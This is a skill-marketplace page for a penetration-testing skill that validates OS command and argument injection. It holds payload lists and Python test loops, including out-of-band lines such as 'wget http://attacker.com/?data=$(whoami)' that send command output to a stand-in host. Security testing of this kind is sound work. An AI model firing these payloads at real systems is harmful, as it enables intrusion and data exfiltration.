Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

command-injection-testing

БесплатноЗапускает вложенные скриптыНе проверен

Validate OS Command Injection vulnerabilities including direct command injection, blind command injection via time delays, and out-of-band command execution…

anshumanbhот anshumanbh★ 287 звёзд на GitHub

Об этом скилле

Command Injection Testing Skill

Purpose

Validate command injection vulnerabilities by injecting shell metacharacters and OS commands into user-controlled inputs and observing:

  • Direct output of command execution in response
  • Time-based delays indicating blind command execution
  • Out-of-band callbacks (DNS/HTTP) confirming execution
  • Error messages revealing command parsing
  • File system changes from injected commands

Vulnerability Types Covered

1. Direct OS Command Injection (CWE-78)

Inject commands that execute and return output in the response.

Detection Methods:

  • Inject ; id or | whoami and observe command output
  • Inject & dir (Windows) and observe directory listing
  • Look for shell command results in response body

Example Payloads:

; id
| whoami
`id`
$(whoami)
& dir
| type C:\windows\win.ini

2. Blind Command Injection - Time-Based (CWE-78)

Inject time-delay commands when output is not reflected.

Detection Methods:

  • Inject ; sleep 5 and measure response delay
  • Inject | ping -c 5 127.0.0.1 and measure delay
  • Inject & timeout /t 5 (Windows) and measure delay

Example Payloads:

; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
& ping -c 5 127.0.0.1
& timeout /t 5      (Windows)
| ping -n 5 127.0.0.1   (Windows)

3. Blind Command Injection - Out-of-Band (CWE-78)

Confirm execution via external DNS/HTTP callbacks.

Detection Methods:

  • Inject ; curl http://attacker.com/callback
  • Inject ; nslookup attacker.com
  • Inject | wget http://attacker.com/?data=$(whoami)
  • Monitor callback server for requests

Example Payloads:

; curl http://collaborator.com/
; nslookup collaborator.com
; wget http://collaborator.com/?d=$(whoami)
| ping collaborator.com
$(curl http://collaborator.com/$(whoami))

4. Argument Injection (CWE-88)

Inject additional arguments to existing commands.

Detection Methods:

  • Inject --help or -v to trigger help/version output
  • Inject --output=/tmp/test to write files
  • Inject arguments that modify command behavior

Example Payloads:

--help
--version
-v
--output=/tmp/test
-o /tmp/test

5. Command Injection via Different Contexts

Shell Metacharacters:

Character Unix/Linux Windows Description
; ✓ ✗ Command separator
` ` ✓ ✓
` ` ✓
& ✓ ✓ Background (Unix) / Separator (Win)
&& ✓ ✓ AND - execute if previous succeeds
` ✓ ✗ Command substitution (backticks)
$() ✓ ✗ Command substitution
> ✓ ✓ Redirect output
< ✓ ✓ Redirect input
\n ✓ ✗ Newline (command separator)

Platform-Specific Notes

Platform Shell Time Delay Callback Notes
Linux/Unix bash/sh sleep 5 curl, wget, nslookup Most metacharacters work
Windows cmd.exe timeout /t 5, ping -n 5 127.0.0.1 nslookup, certutil Limited metacharacters
Windows PowerShell Start-Sleep -s 5 Invoke-WebRequest Different syntax
macOS zsh/bash sleep 5 curl, nslookup Similar to Linux

Prerequisites

  • Target application that executes OS commands with user input
  • Identified injection points (parameters, headers, file uploads, filenames)
  • For blind testing: controlled callback server (collaborator domain)
  • VULNERABILITIES.json with suspected command injection findings if provided

Testing Methodology

Phase 1: Identify Injection Points

Common injection vectors:

  • URL parameters passed to system commands
  • File upload filenames (often passed to file utilities)
  • User-Agent/Referer headers (sometimes logged via shell)
  • PDF generators, image processors, file converters
  • Network utilities (ping, traceroute, nslookup forms)
  • Git/SVN operations, backup tools
  • Email functionality (often uses sendmail)

Phase 2: Establish Baseline

  • Send normal request; record response content, status, and timing
  • Note any error messages or command-related output
  • Identify target OS from response headers, errors, or behavior

Phase 3: Execute Command Injection Tests

Direct Command Injection:

payloads = ["; id", "| whoami", "`id`", "$(whoami)"]
for payload in payloads:
    resp = get(f"/ping?host=127.0.0.1{payload}")
    if "uid=" in resp.text or "root" in resp.text:
        status = "VALIDATED"

Time-Based Blind Command Injection:

baseline_time = measure_response("/ping?host=127.0.0.1")
payloads = ["; sleep 5", "| sleep 5", "`sleep 5`", "$(sleep 5)"]

for payload in payloads:
    start = time.time()
    resp = get(f"/ping?host=127.0.0.1{payload}")
    elapsed = time.time() - start
    
    if elapsed > baseline_time + 4.5:
        status = "VALIDATED"

Out-of-Band Command Injection:

callback = "unique-id.collaborator.com"
payloads
Полный SKILL.md на GitHub

Установить command-injection-testing в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Read
Write
Bash

Вложенные файлы

examples.mdreference/README.mdreference/cmdi_payloads.pyreference/validate_cmdi.py

FAQ

Что делает скилл command-injection-testing?

Validate OS Command Injection vulnerabilities including direct command injection, blind command injection via time delays, and out-of-band command execution. Test by injecting shell metacharacters and commands into user-controlled inputs. Use when testing CWE-78 (OS Command Injection), CWE-77 (Command Injection), CWE-88 (Argument Injection), or related command execution vulnerabilities.

Как установить скилл command-injection-testing?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл command-injection-testing запускает скрипты?

Да, скилл несёт исполняемые скрипты. Проверь исходник перед установкой.

Похожие скиллы

Сравнить command-injection-testing с